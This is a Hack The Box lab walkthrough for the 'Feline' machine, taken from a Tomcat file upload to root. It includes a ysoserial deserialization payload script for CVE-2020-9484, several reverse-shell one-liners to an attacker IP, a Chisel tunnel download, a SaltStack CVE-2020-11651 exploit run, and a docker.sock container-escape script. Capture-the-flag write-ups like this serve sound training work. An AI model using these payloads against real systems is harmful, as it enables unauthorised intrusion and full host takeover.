Hack-The-Box-walkthrough[feline]

introduce

OS: Linux
Difficulty: Hard
Points: 40
Release: 29 Aug 2020
IP: 10.10.10.205

User Blood szymex73 00 days, 00 hours, 44 mins, 52 seconds.
Root Blood InfoSecJack 00 days, 02 hours, 08 mins, 18 seconds.

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
root@kali:~# nmap -sV -p- -v --min-rate=10000 10.10.10.205
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

The main page returns a title as “VirusBucket” which is used to analyze malicious files just like “VirusTotal”.

Some random descriptions are given. From the top menu, we can see some menus available. Out of these, ‘service’ is where we can upload our file to analyze it.

make a test to uploaded a file and intercepted the request with Burp Suite.

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /upload.jsp?email=12312312@qq.com HTTP/1.1

Host: 10.10.10.205:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.205:8080/service/

Content-Type: multipart/form-data; boundary=---------------------------136589399510028257051484957281

Origin: http://10.10.10.205:8080

Content-Length: 235

Connection: close

Cookie: JSESSIONID=C41EC8CF6D55F9C72BB143787C0B1D27



-----------------------------136589399510028257051484957281

Content-Disposition: form-data; name="image"; filename="out"

Content-Type: application/octet-stream



test


-----------------------------136589399510028257051484957281--

response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 

Content-Type: text/html;charset=UTF-8

Content-Length: 41

Date: Thu, 03 Sep 2020 09:57:29 GMT

Connection: close




File uploaded successfully!

the file is actually uploaded to the server,and then i got the location of uploading files when I change the filename as empty

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /upload.jsp?email=12312312@qq.com HTTP/1.1

Host: 10.10.10.205:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.205:8080/service/

Content-Type: multipart/form-data; boundary=---------------------------136589399510028257051484957281

Origin: http://10.10.10.205:8080

Content-Length: 232

Connection: close

Cookie: JSESSIONID=C41EC8CF6D55F9C72BB143787C0B1D27



-----------------------------136589399510028257051484957281

Content-Disposition: form-data; name="image"; filename=""

Content-Type: application/octet-stream



test


-----------------------------136589399510028257051484957281--

response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
HTTP/1.1 200 

Content-Type: text/html;charset=UTF-8

Content-Length: 2867

Date: Thu, 03 Sep 2020 10:02:59 GMT

Connection: close








<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
at java.base/java.io.FileOutputStream.open0(Native Method)
at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
</div>

and we got the upload file location

1
/opt/samples/uploads

we can see that there is something related to Java deserialization running behind the scene.

Tomcat JsessionID Insecure Deserialization CVE - User Shell

use a simple google search, we find an article to understand the public exploit CVE-2020-9484.

reference 1:

  • Apache Tomcat RCE by deserialization CVE-2020-9484 writeup and exploit

Requirements to exploit:

  • There is no authentication needed to upload a file to the server. PersistentManager might be enabled, that’s why we got our file uploaded.
  • We have control over the location of the file and the name of the file.
  • Java Run time exec() function is the one which deserializes the JsessionID information in it.

Exploitation steps:

  • We need to create a Java Runtime Environment serialized Object and also save it in filename.session
  • Then it is needed to upload it to the server.
  • The final step is to modify the JSESSIONID to value like “../../../../malicious.session”.

Since the JSESSIONID is parsed by function java.lang.Runtime.exec(), we need to set bash or shell payload. Because NC, Socat command will get break inside the Runtime Environment.

reference 2:

  • java.lang.Runtime.exec Payload Workarounds
1
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1

can be changed to the following

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

then make a bash script

exp.sh

1
2
3
4
5
#!/bin/bash
payload="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar ysoserial-master.jar CommonsCollections2 "${payload}" > gun1X.session
curl -F 'image=@gun1X.session' http://10.10.10.205:8080/upload.jsp?email=gunroot
curl --cookie "JSESSIONID=../../../../../opt/samples/uploads/gun1X" -L http://10.10.10.205:8080/upload.jsp?email=gunroot

before run this script we have to download ysoserial-master.jar

  • download ysoserial-master.jar

rename the file to ysoserial-master.jar

run exp.sh and we got a shell back, and owned the user flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~# nc -lvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:39862.
bash: cannot set terminal process group (948): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@VirusBucket:/opt/tomcat$ id
id
uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
tomcat@VirusBucket:/opt/tomcat$ whoami
whoami
tomcat
tomcat@VirusBucket:/opt/tomcat$ cd ~
cd ~
tomcat@VirusBucket:~$ ls
ls
user.txt
tomcat@VirusBucket:~$ cat user.txt
cat user.txt
a485c52b48abe0381d0e8ad66342b159

SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker

There are a number of ports running in the localhost. Out of these, port number 4505 and 4506 returns a non-readable output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tomcat@VirusBucket:~$ netstat -lnpt
netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35345 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 979/java
tcp6 0 0 :::8080 :::* LISTEN 979/java
tcp6 0 0 :::22 :::* LISTEN -
tomcat@VirusBucket:~$ nc 127.0.0.1 4506
nc 127.0.0.1 4506

google it search “port 4505 and 4506”

While reading the documentation, found that this software has a critical vulnerability registered as CVE-2020-11651 and CVE-2020-11652.

Reference 3:

  • CVE-2020-11651

Reference 4:

  • Public Exploit for CVE-2020-11651

The above exploit needs the salt module. But our target machine doesn’t have the salt module in its python3 library.

1
2
3
4
5
tomcat@VirusBucket:/opt/tomcat$ python3 -c "import salt"
python3 -c "import salt"
Traceback (most recent call last):
File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'salt'

forwarded the port 4506 to my machine using Chisel.

  • download chisel

kali:

1
2
3
root@kali:~/hackthebox/machine/feline# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.205 - - [03/Sep/2020 13:42:51] "GET /chisel HTTP/1.1" 200 -

victim:

1
2
3
4
tomcat@VirusBucket:/tmp$ wget http://10.10.14.4/chisel
tomcat@VirusBucket:/tmp$ ./chisel client 10.10.14.4:10000 R:4506:127.0.0.1:4506
<hisel client 10.10.14.4:10000 R:4506:127.0.0.1:4506
2020/09/03 17:47:51 client: Connecting to ws://10.10.14.4:10000

then kail Successfully port forwarded.

1
2
3
4
5
root@kali:~/hackthebox/machine/feline# ./chisel server -p 10000 --reverse
2020/09/03 13:46:04 server: Reverse tunnelling enabled
2020/09/03 13:46:04 server: Fingerprint f3:d3:a8:bd:bf:15:5e:d1:18:db:db:c5:70:b4:28:d3
2020/09/03 13:46:04 server: Listening on http://0.0.0.0:10000
2020/09/03 13:46:55 server: session#1: tun: proxy#R:4506=>4506: Listening

then run the python3 exploit script:

1
2
3
4
5
6
7
root@kali:~/hackthebox/machine/feline# python3 11.py --master 127.0.0.1 --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1"'
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: 8MeKojWxGMucT5TnNiiu1H4+rTdH9ZuGB3w2V+2Ef0sbHhmBjJU8Gil8bQuDbmJVHiSFo4rPlV0=
[+] Attemping to execute bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1" on 127.0.0.1
[+] Successfully scheduled job: 20200903175545578002

then we got a root reverse shell in docker:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# nc -lvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:39364.
bash: cannot set terminal process group (3706): Inappropriate ioctl for device
bash: no job control in this shell
root@2d24bf61767c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@2d24bf61767c:~# whoami
whoami
root

Exposed Docker Socket Root

start some basic enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit

Since docker.sock is the API used by the host to communicate with Docker containers, we can conclude that this is the way to get the contents of the root of the host.

1
2
3
root@2d24bf61767c:~# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
<t /var/run/docker.sock http://localhost/images/json
[{"Containers":-1,"Created":1590787186,"Id":"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e","Labels":null,"ParentId":"","RepoDigests":null,"RepoTags":["sandbox:latest"],"SharedSize":-1,"Size":5574537,"VirtualSize":5574537},{"Containers":-1,"Created":1588544489,"Id":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9","Labels":null,"ParentId":"","RepoDigests":["<none>@<none>"],"RepoTags":["<none>:<none>"],"SharedSize":-1,"Size":1056679100,"VirtualSize":1056679100}]

We can access the docker.sock file. Let’s go and pwn this

Reference 5:

  • Docker.sock Abusing

Based on the above reference, wrote a bash script to make this case easy.

1
2
3
4
5
6
7
8
#!/bin/bash
pay="bash -c 'bash -i >& /dev/tcp/10.10.14.4/7777 0>&1'"
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$pay\\\"\"]"
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)
revShellContainerID=$(echo "$response" | cut -d'"' -f4)
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start
sleep 1
curl --output - -s --unix-socket /var/run/docker.sock "http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1"

run the script on the target docker container

1
2
root@2d24bf61767c:~# ./exp2.sh
./exp2.sh

and we got a reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~# nc -lvp 7777
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:54680.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@959d801ec08f:/# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@959d801ec08f:/# whoami
whoami
root
root@959d801ec08f:/# cat ~/root.txt
cat ~/root.txt
7817c299e73caba76e2f5dfa9f72291d

and owned the root.txt

Summary of knowledge

  • Tomcat JsessionID Insecure Deserialization CVE
  • use java.lang.Runtime.exec Payload Workarounds to generate payload
  • ysoserial-master.jar usage
  • SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
  • CVE-2020-11651 exploit
  • Chisel port forwarding
  • EXPOSING DOCKER.SOCK to ececute commands

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…